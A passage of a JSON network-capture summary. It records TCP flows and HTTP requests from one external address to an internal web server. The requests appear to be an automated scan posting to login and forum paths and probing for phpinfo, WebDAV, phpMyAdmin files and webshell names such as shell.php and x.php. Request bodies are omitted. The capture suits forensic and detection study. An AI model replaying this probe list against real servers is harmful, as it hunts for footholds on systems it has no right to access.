        "flow_id": "flow-a531fe7f4fccf79e4f671f3e",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 2017,
        "first_frame": 2010,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 63914,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256290.728409",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256289.435383"
      },
      {
        "bytes": 1444,
        "stream": 67,
        "flow_id": "flow-fcc71110fa0d967c7a08221f",
        "packets": 12,
        "transport": "tcp",
        "last_frame": 2027,
        "first_frame": 2015,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 64046,
        "responder_port": 80,
        "initiator_bytes": 669,
        "last_seen_epoch": "1577256301.001712",
        "responder_bytes": 775,
        "first_seen_epoch": "1577256289.898019"
      },
      {
        "bytes": 4252,
        "stream": 68,
        "flow_id": "flow-c677fb0ae211061778c17010",
        "packets": 21,
        "transport": "tcp",
        "last_frame": 2051,
        "first_frame": 2028,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 65245,
        "responder_port": 80,
        "initiator_bytes": 1773,
        "last_seen_epoch": "1577256316.131343",
        "responder_bytes": 2479,
        "first_seen_epoch": "1577256301.533432"
      },
      {
        "bytes": 188,
        "stream": 69,
        "flow_id": "flow-dfe43539936f6ee515507fb2",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 2049,
        "first_frame": 2047,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 50555,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256311.710551",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256311.43546"
      },
      {
        "bytes": 12228,
        "stream": 70,
        "flow_id": "flow-22d842306800650a676bf410",
        "packets": 52,
        "transport": "tcp",
        "last_frame": 2103,
        "first_frame": 2052,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52375,
        "responder_port": 80,
        "initiator_bytes": 4324,
        "last_seen_epoch": "1577256351.91928",
        "responder_bytes": 7904,
        "first_seen_epoch": "1577256331.040327"
      },
      {
        "bytes": 21834,
        "stream": 71,
        "flow_id": "flow-4cfb2c4b6f342468b34f55ad",
        "packets": 84,
        "transport": "tcp",
        "last_frame": 2224,
        "first_frame": 2104,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55013,
        "responder_port": 80,
        "initiator_bytes": 7847,
        "last_seen_epoch": "1577256380.453076",
        "responder_bytes": 13987,
        "first_seen_epoch": "1577256351.931536"
      },
      {
        "bytes": 41471,
        "stream": 72,
        "flow_id": "flow-3af8e471ecef9d0b23362453",
        "packets": 154,
        "transport": "tcp",
        "last_frame": 2341,
        "first_frame": 2185,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 58705,
        "responder_port": 80,
        "initiator_bytes": 14926,
        "last_seen_epoch": "1577256425.572763",
        "responder_bytes": 26545,
        "first_seen_epoch": "1577256373.220065"
      },
      {
        "bytes": 10675,
        "stream": 73,
        "flow_id": "flow-f6379dd576004644c309a0e5",
        "packets": 44,
        "transport": "tcp",
        "last_frame": 2397,
        "first_frame": 2342,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 65366,
        "responder_port": 80,
        "initiator_bytes": 3894,
        "last_seen_epoch": "1577256443.586162",
        "responder_bytes": 6781,
        "first_seen_epoch": "1577256425.573656"
      },
      {
        "bytes": 1274,
        "stream": 74,
        "flow_id": "flow-a8dd9483d7e495ddad14e718",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 2395,
        "first_frame": 2384,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 51031,
        "responder_port": 80,
        "initiator_bytes": 553,
        "last_seen_epoch": "1577256442.619805",
        "responder_bytes": 721,
        "first_seen_epoch": "1577256441.788817"
      },
      {
        "bytes": 188,
        "stream": 75,
        "flow_id": "flow-1a6ca78dbb1bf7216176895e",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 2398,
        "first_frame": 2393,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 51249,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256445.673314",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256442.364144"
      },
      {
        "bytes": 6161,
        "stream": 76,
        "flow_id": "flow-9d6d75ec67e1b45b3c9fcf7f",
        "packets": 28,
        "transport": "tcp",
        "last_frame": 2438,
        "first_frame": 2399,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 51805,
        "responder_port": 80,
        "initiator_bytes": 2110,
        "last_seen_epoch": "1577256516.171391",
        "responder_bytes": 4051,
        "first_seen_epoch": "1577256446.001073"
      },
      {
        "bytes": 116,
        "stream": 77,
        "flow_id": "flow-a637f79b7ba71270611b35f9",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2424,
        "first_frame": 2423,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52711,
        "responder_port": 8080,
        "initiator_bytes": 62,
        "last_seen_epoch": "1577256451.250118",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256451.250061"
      },
      {
        "bytes": 116,
        "stream": 78,
        "flow_id": "flow-39c90c6418d8ef658be73f6e",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2426,
        "first_frame": 2425,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52711,
        "responder_port": 8080,
        "initiator_bytes": 62,
        "last_seen_epoch": "1577256452.077532",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256452.077464"
      },
      {
        "bytes": 114,
        "stream": 79,
        "flow_id": "flow-a73dd7d4e551ba40aae22779",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2428,
        "first_frame": 2427,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52711,
        "responder_port": 8080,
        "initiator_bytes": 60,
        "last_seen_epoch": "1577256452.874364",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256452.8743"
      },
      {
        "bytes": 116,
        "stream": 80,
        "flow_id": "flow-3eaf92ad6caad248fe0eccf2",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2430,
        "first_frame": 2429,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53268,
        "responder_port": 8983,
        "initiator_bytes": 62,
        "last_seen_epoch": "1577256454.249973",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256454.249905"
      },
      {
        "bytes": 116,
        "stream": 81,
        "flow_id": "flow-5934942f83f928d96cbf7236",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2432,
        "first_frame": 2431,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53268,
        "responder_port": 8983,
        "initiator_bytes": 62,
        "last_seen_epoch": "1577256455.078037",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256455.077959"
      },
      {
        "bytes": 114,
        "stream": 82,
        "flow_id": "flow-65adf3fb40580cd9436c724b",
        "packets": 2,
        "transport": "tcp",
        "last_frame": 2434,
        "first_frame": 2433,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53268,
        "responder_port": 8983,
        "initiator_bytes": 60,
        "last_seen_epoch": "1577256455.874883",
        "responder_bytes": 54,
        "first_seen_epoch": "1577256455.874814"
      }
    ],
    "events": {
      "dns": [],
      "dhcp": [],
      "smtp": [],
      "identity": [],
      "http_request": [
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0",
            "http.request.uri": "/",
            "http.response_in": "12",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-377115f730586df3495a8718",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 10,
          "timestamp_epoch": "1577255332.202782000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0",
            "http.request.uri": "/robots.txt",
            "http.response_in": "16",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/robots.txt"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1740e9d97afe6d50a5f57f49",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 15,
          "timestamp_epoch": "1577255332.482403000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0",
            "http.request.uri": "/Admin1f768268/Login.php",
            "http.response_in": "19",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Admin1f768268/Login.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ea48a5938c3f6670283f06b1",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 18,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255332.751059000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
            "http.request.uri": "/",
            "http.response_in": "22",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f26e84ca6a65e0637a0b5417",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 21,
          "timestamp_epoch": "1577255333.019833000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
            "http.request.uri": "/l.php",
            "http.response_in": "26",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/l.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d85bef0d969bf21f18a0a935",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 25,
          "timestamp_epoch": "1577255333.294663000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
            "http.request.uri": "/phpinfo.php",
            "http.response_in": "29",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpinfo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-814df9d600829658638bbc47",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 28,
          "timestamp_epoch": "1577255333.957025000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
            "http.request.uri": "/test.php",
            "http.response_in": "32",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/test.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-68afdbef5dd49c55bbf832b7",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "frame_number": 31,
          "timestamp_epoch": "1577255334.310821000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/index.php",
            "http.response_in": "35",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-446611543839e4db3f4e5081",
          "src_port": 55812,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 34,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255336.009530000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/bbs.php",
            "http.response_in": "46",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbs.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c7c458949d62a941067912fb",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 44,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255346.055130000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/forum.php",
            "http.response_in": "50",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/forum.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4d08ef1c587969eafda79087",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 48,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255349.559043000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/forums.php",
            "http.response_in": "53",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/forums.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a5f487f50a3daca4a6b8926c",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 52,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255350.624382000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/bbs/index.php",
            "http.response_in": "56",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbs/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-01079bcbb3b0456228c797c3",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 55,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255353.337526000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/forum/index.php",
            "http.response_in": "60",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/forum/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7daf5f6cda373b7018f0998e",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 58,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255355.200791000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/forums/index.php",
            "http.response_in": "63",
            "http.content_length": "103",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/forums/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3fd2a66f8689133667fea175",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
          "frame_number": 62,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 103,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 103,
          "timestamp_epoch": "1577255355.468512000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235:80",
            "http.user_agent": "Mozilla/5.0",
            "http.request.uri": "/webdav/",
            "http.response_in": "70",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235:80/webdav/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d8104f798713f237ad921096",
          "src_port": 58569,
          "tcp_stream": 3,
          "udp_stream": null,
          "frame_number": 68,
          "timestamp_epoch": "1577255356.304538000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/help.php",
            "http.response_in": "76",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/help.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-dbf039384991ca83ce071e36",
          "src_port": 56924,
          "tcp_stream": 2,
          "udp_stream": null,
          "frame_number": 75,
          "timestamp_epoch": "1577255356.563321000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/java.php",
            "http.response_in": "87",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/java.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b9921fd35889b96b3accd574",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 85,
          "timestamp_epoch": "1577255368.254905000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/_query.php",
            "http.response_in": "90",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/_query.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d7a977de5d5d073928c86c6b",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 89,
          "timestamp_epoch": "1577255368.522892000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/test.php",
            "http.response_in": "93",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/test.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2f9642d8c48bb658d6c0d31c",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 92,
          "timestamp_epoch": "1577255368.816147000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/db_cts.php",
            "http.response_in": "95",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/db_cts.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-172671134028084bcbd9021e",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 94,
          "timestamp_epoch": "1577255369.090592000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/db_pma.php",
            "http.response_in": "98",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/db_pma.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-80881231f8edbe98303865bf",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 97,
          "timestamp_epoch": "1577255369.358316000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/logon.php",
            "http.response_in": "101",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/logon.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e5228c5e331ae322223b0ad8",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 100,
          "timestamp_epoch": "1577255369.755450000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/help-e.php",
            "http.response_in": "104",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/help-e.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-643c67ac171b0aac96f2ae9f",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 103,
          "timestamp_epoch": "1577255370.023839000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/license.php",
            "http.response_in": "107",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/license.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-025d318bda25c915c17d5666",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 106,
          "timestamp_epoch": "1577255370.291541000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/log.php",
            "http.response_in": "110",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/log.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-044a14e5510e65d3c73269b6",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 109,
          "timestamp_epoch": "1577255370.559401000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/hell.php",
            "http.response_in": "113",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/hell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-06dc7886b6c0b20e700f0863",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 112,
          "timestamp_epoch": "1577255370.827144000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/pmd_online.php",
            "http.response_in": "116",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pmd_online.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c439f27d0fc35615ed1b1804",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 115,
          "timestamp_epoch": "1577255371.668883000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/x.php",
            "http.response_in": "119",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/x.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-dd6080fd749c221ee80aca82",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 118,
          "timestamp_epoch": "1577255371.936865000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/shell.php",
            "http.response_in": "122",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/shell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b2387a3e766b73c2f9e7f9b8",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 121,
          "timestamp_epoch": "1577255372.204598000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/htdocs.php",
            "http.response_in": "125",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/htdocs.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-962f64d607bda0161c322dcf",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 124,
          "timestamp_epoch": "1577255372.472235000"
        },
        {
